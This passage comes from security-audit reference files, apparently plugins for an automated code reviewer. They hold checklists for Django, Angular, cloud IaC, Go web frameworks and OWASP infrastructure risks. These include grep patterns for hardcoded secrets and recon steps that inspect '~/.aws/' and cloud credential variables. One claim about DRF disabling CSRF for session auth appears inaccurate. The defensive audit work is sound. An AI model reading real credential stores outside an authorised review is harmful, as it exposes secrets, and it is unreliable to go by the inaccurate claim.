name: Python + Django
detect:
  files: ["manage.py", "settings.py"]
  dependencies: ["django", "djangorestframework", "django-rest-framework"]
  keywords: ["Django", "Django REST Framework", "DRF"]
---

## attack-surface-http

**CSRF Exemptions:**
1. Grep for `@csrf_exempt` across the entire codebase
   - For EACH exempt view: why is CSRF disabled? Is it a legitimate API endpoint using token auth, or a mistake?
   - Are there views that use `@csrf_exempt` but also accept cookie-based authentication? (this is a CSRF vulnerability)
   - Check DRF views: DRF disables CSRF for `SessionAuthentication` unless explicitly configured — is this understood?

2. **ModelForm Field Exposure:**
   - Grep for `class Meta:` inside Form/ModelForm classes
   - Are forms using `fields = '__all__'`? This exposes ALL model fields to user input (including admin-only fields)
   - Is `exclude` used instead of `fields`? (dangerous — new model fields are auto-included unless explicitly excluded)
   - Best practice: always use explicit `fields = [...]` whitelist

3. **Raw SQL and QuerySet Injection:**
   - Grep for `.raw(`, `.extra(`, `RawSQL`, `cursor.execute`, `connection.cursor`
   - Are user inputs interpolated into raw SQL? (f-strings, `.format()`, `%` formatting)
   - Does `.extra()` use user-controlled `where`, `select`, or `tables` arguments?
   - Are there ORM filter calls with user-controlled field names? (e.g., `Model.objects.filter(**user_dict)` — allows filtering on any field including relationships)

4. **URL Resolver ReDoS:**
   - Are URL patterns using complex regex? (in `urlpatterns`)
   - Can crafted URLs cause catastrophic backtracking in URL resolution?
   - Are URL patterns using `re_path()` with user-influenced patterns?

5. **File Upload Handling:**
   - Are file uploads using Django's `FileField`/`ImageField`?
   - Is `MEDIA_ROOT` in a safe location? (not inside the static files directory or a web-accessible path)
   - Are uploaded file names sanitized? (Django sanitizes by default, but custom `upload_to` callables might not)
   - Is `FILE_UPLOAD_MAX_MEMORY_SIZE` configured to prevent large uploads from consuming memory?

6. **DRF-Specific (if Django REST Framework is used):**
   - Are serializers using `fields = '__all__'`? (same risk as ModelForm)
   - Is the default permission class restrictive? (check `DEFAULT_PERMISSION_CLASSES` in settings — `AllowAny` is dangerous as default)
   - Are viewset actions individually permission-checked? (`@action` decorators with `permission_classes`)
   - Is the browsable API enabled in production? (exposes API structure and allows unauthenticated browsing)
   - Are throttle rates configured? (`DEFAULT_THROTTLE_RATES`)

## attack-surface-authz

**Django Permissions Framework:**
1. How is authorization enforced?
   - `@login_required` only checks authentication, NOT authorization — is it used where `@permission_required` should be?
   - `@permission_required` checks model-level permissions — but does the app need object-level permissions?
   - Are there views that check `request.user.is_staff` or `request.user.is_superuser` inline? (fragile — easy to forget)

2. **Object-Level Permissions:**
   - Does the app use a library like `django-guardian` or `django-rules` for object-level permissions?
   - If not, are object-level checks done manually in each view? (error-prone — easy to miss a view)
   - For DRF: are `get_queryset()` and `get_object()` properly filtering by user? (the default `get_object()` only does a pk lookup without ownership checks)

3. **Admin Site Security:**
   - Is the Django admin accessible? (check `admin/` in `urlpatterns`)
   - Is the admin URL path customized from the default `/admin/`? (obscurity alone isn't security, but default path is actively probed)
   - Are admin actions audited? (Grep for `LogEntry`, `django.contrib.admin.models`)
   - Is two-factor auth enabled for admin? (Grep for `django-otp`, `django-two-factor-auth`)

4. **Group and Permission Assignments:**
   - Are permissions assigned via groups or directly to users? (group-based is more maintainable)
   - Can users be assigned to groups via API endpoints? (privilege escalation if an endpoint allows group modification)
   - Are custom permissions defined in models? (`class Meta: permissions = [...]`) — are they actually checked?

## config-infrastructure

**Django Settings Security:**
1. Read `settings.py` (and any environment-specific settings files) and check:
   - **`DEBUG`**: Is it `False` in production? (Grep for `DEBUG = True` and conditional logic)
   - **`SECRET_KEY`**: Is it hardcoded in settings or loaded from environment? Is it strong (50+ random chars)?
   - **`ALLOWED_HOSTS`**: Is it set? Is it restrictive? (`['*']` allows host header injection)
   - **`SECURE_SSL_REDIRECT`**: Is HTTPS enforced?
   - **`SECURE_HSTS_SECONDS`**: Is HSTS enabled with a reasonable duration?
   - **`SECURE_HSTS_INCLUDE_SUBDOMAINS`**: Are subdomains included in HSTS?
   - **`SECURE_CONTENT_TYPE_NOSNIFF`**: Is `X-Content-Type-Options: nosniff` set?
   - **`SECURE_BROWSER_XSS_FILTER`**: Is the XSS filter enabled?

2. **Cookie Security:**
   - **`SESSION_COOKIE_SECURE`**: Is it `True`? (cookie only sent over HTTPS)
   - **`SESSION_COOKIE_HTTPONLY`**: Is it `True`? (prevents JavaScript access)
   - **`SESSION_COOKIE_SAMESITE`**: Is it set to `'Lax'` or `'Strict'`?
   - **`CSRF_COOKIE_SECURE`**: Is it `True`?
   - **`SESSION_COOKIE_AGE`**: Is it reasonable? (default is 2 weeks — may be too long)

3. **Database Security:**
   - Are database credentials hardcoded in settings or loaded from environment/secrets?
   - Is the database using SSL for connections?
   - Are there multiple database configurations? Are read replicas properly restricted?

4. **Middleware Order:**
   - Django middleware order matters — check `MIDDLEWARE` list:
     - `SecurityMiddleware` should be first (handles SSL redirect, HSTS)
     - `SessionMiddleware` before `AuthenticationMiddleware`
     - `CsrfViewMiddleware` before any view-processing middleware
   - Are there custom middleware that could interfere with Django's security middleware?

5. **Static and Media Files:**
   - Is Django serving static files in production? (`django.contrib.staticfiles` with `DEBUG=True` serves files — this should be handled by nginx/CDN in production)
   - Is `MEDIA_URL` pointing to a path that could conflict with URL patterns?
   - Are uploaded files served through Django views with access control, or directly by the web server? (direct serving bypasses auth)


path: references/plugins/angular.md
content: ---
name: Angular
detect:
  files: ["angular.json", ".angular-cli.json"]
  dependencies: ["@angular/core", "@angular/platform-browser", "@angular/router"]
  keywords: ["Angular"]
---

## attack-surface-frontend

**Angular Security Bypass Vectors:**
1. **`bypassSecurityTrust*` Methods:**
   - Grep for `bypassSecurityTrustHtml`, `bypassSecurityTrustScript`, `bypassSecurityTrustStyle`, `bypassSecurityTrustUrl`, `bypassSecurityTrustResourceUrl`
   - For each occurrence: is the input user-controlled? These methods explicitly disable Angular's built-in sanitization
   - Is there a custom pipe that wraps `DomSanitizer.bypassSecurityTrust*`? (common pattern that hides the bypass)
2. **`innerHTML` Binding:**
   - Grep for `[innerHTML]` in templates — Angular sanitizes this by default but `bypassSecurityTrustHtml` disables it
   - Is `DomSanitizer.sanitize()` called with `SecurityContext.HTML` before binding? (correct pattern)
3. **Template Injection:**
   - Is `Compiler.compileModuleAndAllComponentsAsync` or `JitCompilerFactory` used at runtime?
   - Are there dynamic templates constructed from user input?
   - Can an attacker inject Angular template syntax (`{{}}`, `[()]`, `*ngIf`) into rendered content?
4. **URL/Resource Injection:**
   - Grep for `[src]`, `[href]` bindings — can a user inject `javascript:` or `data:` URLs?
   - Is `bypassSecurityTrustResourceUrl` used for iframe sources with user-controlled URLs?
5. **Server-Side Rendering (Angular Universal):**
   - If SSR is used: are there hydration mismatches that expose server-only data?
   - Is `TransferState` used? Does the serialized state contain sensitive data?
   - Can an attacker inject content via SSR that bypasses client-side sanitization?

**Angular Router Security:**
6. **Route Guards:**
   - Read all route guard implementations (`CanActivate`, `CanActivateChild`, `CanLoad`, `CanMatch`)
   - Can guards be bypassed by navigating directly to a URL vs clicking through the app?
   - Are lazy-loaded modules protected by `CanLoad`? (without it, the module code is downloaded even if navigation is blocked)
7. **Router State Exposure:**
   - Are query parameters or route data used to render content without sanitization?
   - Can `ActivatedRoute.snapshot.params` values be injected into the DOM?

## config-infrastructure

**Angular Build & Deployment Security:**
1. **`angular.json` Configuration:**
   - Is `optimization` enabled for production builds? (unoptimized builds leak source maps)
   - Are `sourceMap` files generated for production? (exposes original source code)
   - Is `budgets` configured to catch unexpected bundle size increases? (possible supply chain injection)
2. **Environment Files:**
   - Read `src/environments/environment.ts` and `src/environments/environment.prod.ts`
   - Are API keys or secrets in environment files? (they compile into the client bundle)
   - Is `production: true` set in the production environment? (enables Angular production mode)
3. **Content Security Policy:**
   - Angular requires `unsafe-eval` for JIT compilation but NOT for AOT
   - Is the app compiled with AOT? (check `angular.json` for `"aot": true`) — if so, CSP can be stricter
   - Is `unsafe-inline` in the CSP? Angular's `style` bindings may need it, but it weakens XSS protection
4. **Service Worker:**
   - If `@angular/service-worker` is used: read `ngsw-config.json`
   - Is the service worker caching API responses that contain sensitive data?
   - Can the service worker cache be poisoned?

## dependency-audit

**Angular-Specific Dependency Concerns:**
1. Check `@angular/core` version for known security issues (template compiler bypasses, XSS in older versions)
2. Is `@angular/platform-browser-dynamic` in production dependencies? (JIT compiler should be dev-only for AOT apps)
3. Are `zone.js` patches exposing timing information? (zone.js wraps all async operations)
4. Check third-party Angular libraries for `bypassSecurityTrust*` usage — inherited vulnerabilities


path: references/plugins/aws-gcp-azure.md
content: ---
name: AWS / GCP / Azure Cloud
detect:
  files: ["terraform", "*.tf", "cloudformation", "cdk.json", "serverless.yml", "sam-template.yaml", "bicep"]
  dependencies: ["aws-sdk", "@aws-sdk/client-s3", "@google-cloud/storage", "google-cloud-storage", "@azure/storage-blob", "boto3", "aws-cdk-lib", "pulumi"]
  keywords: ["AWS", "GCP", "Azure", "Lambda", "Cloud Functions", "S3", "EC2", "ECS", "EKS", "GKE", "AKS"]
---

## recon-agent

**Cloud Infrastructure Discovery:**
1. Glob for `**/*.tf`, `**/*.tf.json` — Terraform configurations
2. Glob for `**/template.yaml`, `**/template.yml`, `**/sam-template*`, `**/cloudformation*` — CloudFormation/SAM
3. Glob for `**/cdk.json`, `**/lib/*.ts` (CDK stacks), `**/stacks/**`
4. Glob for `**/serverless.yml`, `**/serverless.ts` — Serverless Framework
5. Glob for `**/*.bicep`, `**/arm-template*` — Azure ARM/Bicep
6. Glob for `**/Pulumi.yaml`, `**/Pulumi.*.yaml` — Pulumi
7. Check for cloud-specific config: `~/.aws/`, environment variables (`AWS_*`, `GOOGLE_*`, `AZURE_*`)

## config-infrastructure

**IAM & Access Control:**
1. **Overly Permissive Policies:**
   - Grep for `"Action": "*"` or `"Action": ["*"]` in IAM policies — this grants full access
   - Grep for `"Resource": "*"` — is the policy scoped to specific resources?
   - Are there `AdministratorAccess` or `PowerUserAccess` policies attached to application roles?
   - Check for `iam:PassRole` with `*` resource — allows role assumption escalation
2. **Service Account / IAM Role Scope:**
   - Is the application's execution role using least privilege?
   - Are there unused permissions that could be removed?
   - Is cross-account access restricted to specific external IDs/conditions?
3. **Assume Role Chains:**
   - Can the application assume other roles? Is the trust policy restrictive?
   - Is MFA required for role assumption?

**Storage Security:**
4. **Public Buckets/Blobs:**
   - Grep for `"PublicRead"`, `"public-read"`, `publicAccess`, `AllUsers`, `allAuthenticatedUsers` in IaC
   - Are S3 bucket policies allowing public access? Is `BlockPublicAccess` enabled?
   - GCS: Is `allUsers` or `allAuthenticatedUsers` in IAM bindings?
   - Azure: Is blob container access level set to `blob` or `container`? (should be `private`)
5. **Encryption at Rest:**
   - Are storage buckets encrypted with customer-managed keys (CMK) or default encryption?
   - Is server-side encryption enforced via bucket policy? (deny PutObject without SSE header)
6. **Access Logging:**
   - Is access logging enabled for storage buckets? (audit trail for data access)

**Network Security:**
7. **Security Groups / Firewall Rules:**
   - Grep for `0.0.0.0/0` or `::/0` in ingress rules — overly permissive inbound access
   - Are there security groups allowing all traffic on all ports from any source?
   - Are SSH (22) or RDP (3389) ports open to the internet?
   - Are database ports (3306, 5432, 27017, 6379) accessible from outside the VPC?
8. **VPC Configuration:**
   - Is the application in a VPC? (services outside VPC have less network isolation)
   - Are there public subnets that should be private?
   - Is a NAT gateway used for outbound internet access from private subnets?

**Serverless Security:**
9. **Lambda/Cloud Functions:**
   - Is the function's execution role overly permissive?
   - Is the function URL publicly accessible without auth? (`AuthType: NONE`)
   - Are environment variables containing secrets encrypted with KMS?
   - Is reserved concurrency set? (prevent DoS via function invocation flooding)
10. **API Gateway:**
    - Is the API Gateway using authentication? (API key, IAM, Cognito, Lambda authorizer)
    - Is request validation enabled? (schema validation at the gateway level)
    - Are rate limits and throttling configured?
    - Is logging enabled? (CloudWatch/Cloud Logging for audit)

**Secrets & Key Management:**
11. **Hardcoded Credentials in IaC:**
    - Grep for `SecretString`, `password`, `api_key`, `access_key` in Terraform/CloudFormation
    - Are secrets referenced from Secrets Manager / Parameter Store / Key Vault instead of hardcoded?
    - Are KMS keys configured with key rotation?
12. **Terraform State:**
    - Is Terraform state stored remotely with encryption? (S3+DynamoDB, GCS, Azure Blob)
    - Is state file access restricted? (state contains all resource attributes including secrets)
    - Is state locking enabled to prevent concurrent modifications?

## attack-surface-http

**Cloud API Gateway Patterns:**
1. Check for API Gateway / Cloud Endpoints / Azure API Management configurations
2. Are there endpoints missing authentication at the gateway level?
3. Can the backend be accessed directly, bypassing the gateway? (check security groups / firewall rules)
4. Are request/response transformations exposing internal data?

## data-flow-tracer

**Cloud Data Flow Patterns:**
1. Trace data across cloud services: API Gateway → Lambda → DynamoDB/S3 → notification
2. Are there cross-service permissions that allow lateral movement? (Lambda with S3 full access)
3. Is data encrypted in transit between services? (VPC endpoints, TLS)
4. Are there event-driven flows where the event payload is not validated? (S3 event → Lambda, SNS → Lambda)

## dependency-audit

**Cloud IaC Dependency Concerns:**
1. Check Terraform provider versions for known vulnerabilities
2. Are Terraform modules from trusted sources? (registry vs git references)
3. Check CDK construct library versions
4. Are CloudFormation macros from trusted sources?


path: references/plugins/go-gin.md
content: ---
name: Go (Gin / Echo / Fiber)
detect:
  files: ["go.mod", "go.sum"]
  dependencies: ["gin-gonic/gin", "labstack/echo", "gofiber/fiber"]
  keywords: ["Go", "Golang", "Gin", "Echo", "Fiber"]
---

## attack-surface-http

**Go HTTP Handler Vulnerabilities:**
1. **No Built-in CSRF Protection:**
   - Go web frameworks do not include CSRF protection by default
   - Check if a CSRF middleware is installed (`gorilla/csrf`, `nosurf`, framework-specific)
   - If there is no CSRF middleware: all state-changing endpoints accepting cookies are vulnerable
2. **Input Binding Without Validation:**
   - Gin: Grep for `c.ShouldBindJSON`, `c.ShouldBind`, `c.Bind` — is the bound struct validated with `binding:"required"` tags?
   - Echo: Grep for `c.Bind`, `echo.Bind` — are struct tags enforcing constraints?
   - Fiber: Grep for `c.BodyParser`, `c.QueryParser` — is input validated after parsing?
   - Can an attacker send extra JSON fields that get bound to unexported or sensitive struct fields?
3. **SQL Injection via String Formatting:**
   - Grep for `fmt.Sprintf` used to construct SQL queries — this is the #1 Go SQL injection pattern
   - Check for raw query construction: `db.Raw(`, `db.Exec(` with string concatenation
   - Are parameterized queries used consistently? (`db.Where("id = ?", id)` vs `db.Where("id = " + id)`)
4. **Template Injection:**
   - If `html/template` is used: are templates constructed from user input? (`template.New("").Parse(userInput)`)
   - `text/template` does NOT escape HTML — is it used for HTML output?
5. **Path Traversal:**
   - Grep for `c.File`, `c.FileAttachment`, `http.ServeFile` — is the path user-controlled?
   - Is `filepath.Clean` or `filepath.Abs` used to sanitize paths? (these don't prevent traversal alone)
   - Check for `os.Open`, `os.ReadFile` with user-controlled paths

## attack-surface-authz

**Go Authorization Patterns:**
1. **Middleware Ordering:**
   - Gin uses `r.Use()` for middleware — is auth middleware applied before route groups that need it?
   - Are there route groups without auth middleware that should have it?
   - Can `c.Next()` be skipped to bypass downstream middleware?
2. **Context Value Auth:**
   - Is auth data stored in `c.Set()` / `c.Get()` (Gin) or `c.Set()` / `c.Get()` (Echo)?
   - Can the context value be forged or missing? Is there a check for its presence before use?
   - Is the user ID from context used directly in database queries without ownership verification?

## config-infrastructure

**Go Application Configuration:**
1. **TLS Configuration:**
   - Is the HTTP server running with TLS? (`http.ListenAndServeTLS` or framework equivalent)
   - If TLS is configured: is `MinVersion` set to `tls.VersionTLS12` or higher?
   - Are weak cipher suites disabled?
2. **Goroutine Leaks / Resource Exhaustion:**
   - Are HTTP request contexts used to cancel long-running goroutines? (`context.WithTimeout`, `context.WithCancel`)
   - Is there a maximum request body size configured? (Go's default is unlimited)
   - Are there goroutines spawned per-request without limits?
3. **Error Handling:**
   - Does the error response include stack traces or internal details? (Gin's `GinMode` should be `release` in production)
   - Are panics recovered? (Gin/Echo have recovery middleware — is it enabled?)
   - Do error messages contain file paths, query details, or configuration values?

## logic-dos

**Go-Specific DoS Vectors:**
1. **Unbounded Request Bodies:**
   - Is `http.MaxBytesReader` or framework equivalent configured? (Go accepts unlimited body by default)
   - Can an attacker send a multi-GB request body to exhaust memory?
2. **Goroutine Exhaustion:**
   - Are goroutines spawned per-request without a semaphore or pool?
   - Can an attacker trigger unbounded goroutine creation?
3. **JSON Decoding Bombs:**
   - `encoding/json` will decode deeply nested JSON — can this be used for CPU exhaustion?
   - Is `json.Decoder.DisallowUnknownFields()` used to reject unexpected input?

## dependency-audit

**Go-Specific Dependency Concerns:**
1. Run `govulncheck ./...` if available — checks dependencies against the Go vulnerability database
2. Check `go.mod` for `replace` directives pointing to local paths or forks (supply chain risk)
3. Are there `go.sum` integrity mismatches? (possible tampering)
4. Check for use of archived/unmaintained Go modules


path: references/plugins/owasp-infra-top10.md
content: ---
name: OWASP Top 10 Infrastructure Security Risks
detect:
  files: ["Dockerfile", "docker-compose.yml", "docker-compose.yaml", "Vagrantfile", "Procfile", "nginx.conf", "haproxy.cfg", "ansible.cfg", "playbook.yml", "inventory.ini", "serverless.yml", "serverless.yaml", "cloudbuild.yaml", "appspec.yml", "buildspec.yml", "skaffold.yaml", "helmfile.yaml", "kustomization.yaml", "packer.json", "packer.pkr.hcl"]
  dependencies: ["@aws-sdk/client-ec2", "@aws-sdk/client-iam", "@aws-sdk/client-s3", "@google-cloud/compute", "@google-cloud/storage", "@azure/arm-compute", "@azure/arm-network", "@azure/identity", "boto3", "botocore", "pulumi", "cdktf", "aws-cdk-lib", "docker", "dockerode", "kubernetes-client", "fabric", "paramiko", "ansible", "mitogen"]
  keywords: ["Terraform", "Kubernetes", "Docker", "CloudFormation", "AWS", "GCP", "Azure", "Infrastructure as Code", "Ansible", "Helm", "Pulumi"]
---

## recon-agent

**OWASP Infrastructure Security — Asset & Configuration Discovery (ISR10, ISR03):**
1. Inventory all Infrastructure-as-Code files and cloud configuration:
   - Glob for `*.tf`, `*.tfvars`, `*.hcl` (Terraform)
   - Glob for `**/k8s/**`, `**/kubernetes/**`, `**/manifests/**`, `**/helm/**` for Kubernetes manifests (Deployments, Services, Ingresses, NetworkPolicies, RBAC)
   - Glob for `Dockerfile*`, `docker-compose*.yml`, `docker-compose*.yaml`
   - Glob for `**/cloudformation/**`, `*.template`, `*.cfn.json`, `*.cfn.yaml` (AWS CloudFormation)
   - Glob for `**/ansible/**`, `playbook*.yml`, `site.yml`, `inventory*` (Ansible)
   - Glob for `serverless.yml`, `serverless.yaml`, `sam-template.yaml` (Serverless Framework / AWS SAM)
   - Glob for `Pulumi.yaml`, `Pulumi.*.yaml`
2. Identify CI/CD pipeline definitions:
   - Glob for `.github/workflows/*.yml`, `.gitlab-ci.yml`, `Jenkinsfile`, `.circleci/config.yml`, `azure-pipelines.yml`, `bitbucket-pipelines.yml`, `.drone.yml`, `cloudbuild.yaml`, `buildspec.yml`
   - Record which pipelines deploy infrastructure and which have access to cloud credentials
3. Map cloud provider usage:
   - Grep for AWS account IDs (`\d{12}`), region strings (`us-east-1`, `eu-west-1`, etc.), GCP project IDs, Azure subscription/resource group patterns
   - Identify which cloud services are used (compute, storage, database, networking, IAM, KMS)
4. Catalog reverse proxy / load balancer configs:
   - Glob for `nginx.conf`, `nginx/*.conf`, `conf.d/*.conf`, `haproxy.cfg`, `traefik.yml`, `traefik.toml`, `caddy`, `Caddyfile`
   - Note TLS termination points and upstream definitions

## config-infrastructure

**ISR01 — Outdated Software:**
1. **Container Base Image Currency:**
   - Read every `Dockerfile` and check `FROM` directives:
     - **Critical**: Is the base image pinned to a tag known to be EOL? (e.g., `node:14`, `python:3.7`, `ubuntu:18.04`, `debian:stretch`, `alpine:3.14`)
     - **High**: Is the base image using `:latest` without a digest? (non-reproducible builds — the image content can change silently)
     - **High**: Are multi-stage builds discarding the build stage properly, or does the final image inherit build-time dependencies?
   - Check for `apt-get upgrade` / `apk upgrade` in Dockerfiles — these should NOT be relied on as the sole patching strategy; base image updates are required
2. **IaC Provider & Module Versions:**
   - In Terraform files: are provider versions pinned (`required_providers` block)? Are module `source` references pinned to a specific version/tag or using `ref=main`?
   - **High**: Unpinned modules pull latest on every `terraform init` — a supply-chain risk if the module repo is compromised
   - In Helm charts: are chart dependencies pinned to specific versions in `Chart.yaml`?
3. **Runtime Version Pinning:**
   - Check `.node-version`, `.python-version`, `.ruby-version`, `.tool-versions`, `runtime.txt`, engine fields in `package.json`
   - Are specified runtime versions still receiving security updates from the vendor?

**ISR03 — Insecure Configurations:**
4. **Container Security Hardening:**
   - **Critical**: Do any Dockerfiles or Kubernetes pod specs run as root? (check for absence of `USER` directive in Dockerfile; check for `runAsNonRoot: false` or missing `securityContext` in pod specs)
   - **Critical**: Are containers running in `privileged: true` mode? (grants full host access)
   - **High**: Are Linux capabilities added unnecessarily? (check `securityContext.capabilities.add` — especially `SYS_ADMIN`, `NET_ADMIN`, `SYS_PTRACE`)
   - **High**: Is `readOnlyRootFilesystem` set to `true`? (prevents writes to the container filesystem — reduces post-exploitation impact)
   - Is `allowPrivilegeEscalation` explicitly set to `false`?
   - Are `hostNetwork`, `hostPID`, or `hostIPC` enabled? (breaks container isolation)
   - Is `seccompProfile` or `AppArmor` annotation set?
5. **Kubernetes Admission & Policy:**
   - Are Pod Security Standards (PSS) enforced via PodSecurity admission controller or a policy engine (OPA/Gatekeeper, Kyverno)?
   - Is there a `LimitRange` or `ResourceQuota` in each namespace?
   - Are `NetworkPolicy` resources defined to restrict pod-to-pod traffic? (ISR06 overlap — see below)
6. **Web Server / Reverse Proxy Hardening:**
   - Read nginx/Apache/Traefik/Caddy configs:
     - **High**: Is server version exposure disabled? (`server_tokens off` in nginx, `ServerTokens Prod` in Apache)
     - Are security headers configured? (CSP, HSTS with `includeSubDomains; preload`, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy)
     - Is HTTP redirected to HTTPS?
     - Are default/catch-all server blocks returning 444 or 403, not proxying to a backend?
     - Is directory listing disabled?
7. **Cloud Service Configuration:**
   - **Critical**: Are S3 buckets / GCS buckets / Azure Blob containers configured with public access? (Grep for `acl = "public-read"`, `public_access_prevention = "inherited"`, `allow_blob_public_access = true`)
   - **Critical**: Are database instances publicly accessible? (Grep for `publicly_accessible = true`, `authorized_networks` with `0.0.0.0/0`)
   - **High**: Are cloud storage buckets missing server-side encryption? (check for `sse_algorithm`, `encryption` blocks)
   - Are cloud logging services enabled? (CloudTrail, Cloud Audit Logs, Azure Activity Log)
8. **CI/CD Pipeline Security:**
   - **Critical**: Are secrets hardcoded in CI/CD config files? (Grep for `password:`, `secret:`, `token:`, API keys in `.github/workflows/*.yml`, `.gitlab-ci.yml`, etc.)
   - **High**: Are pipeline steps pulling unverified third-party actions/images? (e.g., `uses: some-random-user/action@main` instead of a pinned SHA)
   - Are pipeline runners using ephemeral/disposable environments, or do they persist state between runs?
   - Do pipeline service accounts follow least-privilege? (can a pipeline deploy to production AND read all secrets?)

**ISR05 — Insecure Use of Cryptography:**
9. **TLS Configuration in Infrastructure:**
   - Read TLS/SSL settings in nginx, HAProxy, Traefik, cloud load balancer configs:
     - **Critical**: Is SSLv3, TLS 1.0, or TLS 1.1 enabled? (Grep for `ssl_protocols`, `ssl-min-ver`, `MinimumProtocolVersion`, `min_tls_version`)
     - **High**: Are weak cipher suites allowed? (Grep for `RC4`, `DES`, `3DES`, `NULL`, `EXPORT`, `MD5` in cipher lists)
     - Is HSTS configured with `max-age` of at least 31536000 (1 year)?
     - Is OCSP stapling enabled? (`ssl_stapling on` in nginx)
   - For internal service-to-service communication:
     - Is mTLS configured? (check Kubernetes service mesh configs — Istio, Linkerd `PeerAuthentication`)
     - Are self-signed certificates managed with an internal CA and rotated automatically (cert-manager, Vault PKI)?
10. **Encryption at Rest in IaC:**
    - For every database, storage, and volume resource in Terraform/CloudFormation:
      - Is encryption enabled? (check `storage_encrypted`, `kms_key_id`, `encryption_configuration`)
      - **High**: Is the default cloud-managed key used when a customer-managed key (CMK) is required by policy?
    - For Kubernetes: are etcd secrets encrypted at rest? (check `EncryptionConfiguration` in API server args)
    - Are EBS volumes, persistent disks, and managed disks encrypted by default?

**ISR06 — Insecure Network Access Management:**
11. **Network Segmentation in IaC:**
    - **Critical**: Are security groups / firewall rules allowing `0.0.0.0/0` (any source) to sensitive ports? (SSH/22, RDP/3389, database ports 3306/5432/27017/6379)
    - **High**: Is there a single flat VPC/VNet with no subnet separation between public, private, and data tiers?
    - Are NACLs or VPC flow logs enabled?
    - For Kubernetes: are `NetworkPolicy` resources defined? (no NetworkPolicies = all pods can talk to all pods)
12. **Egress Controls:**
    - Can containers/pods make unrestricted outbound connections? (no egress NetworkPolicy = data exfiltration risk)
    - Is a NAT gateway or proxy used for outbound traffic from private subnets?
    - Are DNS queries controlled? (DNS exfiltration is a common C2 channel)
13. **VPN / Bastion Configuration:**
    - Are bastion hosts / jump boxes hardened and audited?
    - Are VPN concentrators using IKEv2 or WireGuard? (IKEv1 aggressive mode leaks credentials)
    - Is split tunneling disabled on VPN clients? (prevents direct internet access bypassing corporate controls)

**ISR07 — Insecure Authentication Methods and Default Credentials:**
14. **Default Credentials in Infrastructure:**
    - **Critical**: Are database instances deployed with default credentials? (Grep for `master_password`, `admin_password`, common defaults like `admin/admin`, `root/root`, `postgres/postgres` in IaC and config files)
    - **Critical**: Are management interfaces (Grafana, Kibana, Jenkins, Prometheus, Traefik dashboard) protected by auth or exposed with defaults?
    - Check for hardcoded SSH keys or passwords in cloud-init / user-data scripts
    - Are there `.htpasswd` files with weak password hashes (MD5, SHA1)?
15. **SSH Configuration:**
    - Is password authentication disabled? (`PasswordAuthentication no` in sshd_config or cloud-init)
    - Is root login disabled? (`PermitRootLogin no`)
    - Are only Ed25519 or RSA-4096+ keys accepted?
    - Is SSH agent forwarding disabled unless explicitly needed? (`AllowAgentForwarding no`)

**ISR09 — Insecure Access to Resources and Management Components:**
16. **Management Interface Exposure:**
    - **Critical**: Are Kubernetes API servers exposed to the public internet? (check `authorized_networks`, `master_authorized_networks_config`, or absence of private cluster config)
    - **Critical**: Are cloud console / API management ports reachable from untrusted networks?
    - Are admin dashboards (Kubernetes Dashboard, Grafana, Kibana, phpMyAdmin, Adminer, pgAdmin) behind authentication and network restrictions?
    - Is the Docker socket (`/var/run/docker.sock`) mounted into any container? (equivalent to root access on the host)
17. **IAM & Service Account Over-Privilege:**
    - **Critical**: Are IAM policies using `"Action": "*"` or `"Resource": "*"`? (overly permissive — violates least privilege)
    - **High**: Are service accounts shared across environments (dev/staging/prod)?
    - Are Kubernetes ServiceAccounts using the default account with auto-mounted tokens?
    - Is IRSA (AWS), Workload Identity (GCP), or Managed Identity (Azure) used instead of static credentials for pod-to-cloud access?

## attack-surface-http

**Infrastructure Management Endpoint Exposure (ISR09, ISR07):**
1. Search for management / health / debug endpoints that may be exposed:
   - Grep for route patterns: `/healthz`, `/readyz`, `/livez`, `/metrics`, `/debug/pprof`, `/admin`, `/actuator`, `/manage`, `/_internal`, `/status`, `/server-status`, `/server-info`
   - Are these endpoints behind authentication or restricted to internal networks only?
   - **High**: Is the Prometheus `/metrics` endpoint publicly accessible? (leaks service topology, version info, and internal state)
   - **High**: Is the Go pprof debug endpoint (`/debug/pprof`) reachable? (enables CPU profiling, heap dumps, goroutine traces — can leak secrets from memory)
2. Are infrastructure-generated error pages leaking server software versions, stack traces, or internal paths?

## attack-surface-authz

**Infrastructure Access Control Audit (ISR04, ISR09):**
1. **Kubernetes RBAC:**
   - Read all `ClusterRole`, `ClusterRoleBinding`, `Role`, `RoleBinding` manifests:
     - **Critical**: Any binding granting `cluster-admin` to a ServiceAccount or non-admin user?
     - **High**: Any role with `verbs: ["*"]` or `resources: ["*"]`?
     - Are roles scoped to namespaces where possible (Role) vs cluster-wide (ClusterRole)?
   - Is the default ServiceAccount in each namespace given excessive permissions?
   - Are there pods with `automountServiceAccountToken: true` that don't need API access?
2. **Cloud IAM Analysis:**
   - For Terraform IAM resources (`aws_iam_policy`, `google_project_iam_member`, `azurerm_role_assignment`):
     - Are policies granting admin-level access to non-admin roles?
     - Are there cross-account trust relationships that are overly broad?
     - Are there IAM users with long-lived access keys instead of assuming roles via STS/Workload Identity?
3. **Resource Sharing & Tenancy (ISR04):**
   - Are there shared databases, message queues, or storage buckets between services that should be isolated?
   - Is tenant isolation enforced at the infrastructure level (separate VPCs, separate accounts/projects) or only at the application level?
   - Can a compromised service access another service's secrets in the same secret manager namespace?

## dependency-audit

**Infrastructure Dependency Currency (ISR01):**
1. **IaC Module & Provider Supply Chain:**
   - Are Terraform modules sourced from the public registry with version constraints, or from unverified Git repos?
   - Are Helm chart repositories using HTTPS and are chart signatures verified (`helm verify`)?
   - For GitHub Actions: are actions pinned to SHA digests or mutable tags? (`uses: actions/checkout@v4` is mutable — `uses: actions/checkout@<sha>` is safe)
   - For Docker images: are base images pulled from verified publishers / official images?
2. **Infrastructure Tool Versions:**
   - Is the Terraform version pinned in `required_version`? Is it within the supported/latest minor release?
   - Are Helm, kubectl, and other IaC tool versions pinned in CI/CD and developer environments?
   - Are there Ansible Galaxy roles installed without version pins?
3. **Container Image Scanning:**
   - Is container image scanning integrated into CI/CD (Trivy, Grype, Snyk Container, Clair)?
   - Are there `COPY` directives in Dockerfiles pulling from unverified URLs?
   - Do multi-stage builds discard build dependencies from the final image?

## data-flow-tracer

**Infrastructure Data Transit Security (ISR05, ISR08):**
1. **Internal Communication Encryption:**
   - Trace service-to-service communication paths defined in IaC (Kubernetes Services, security group rules, VPC peering):
     - Are internal services communicating over plaintext HTTP? (check `targetPort`, backend service definitions, upstream blocks)
     - Is a service mesh enforcing mTLS for all internal traffic, or only for some services?
   - For message queues and event buses (SQS, Pub/Sub, Kafka, RabbitMQ, Redis):
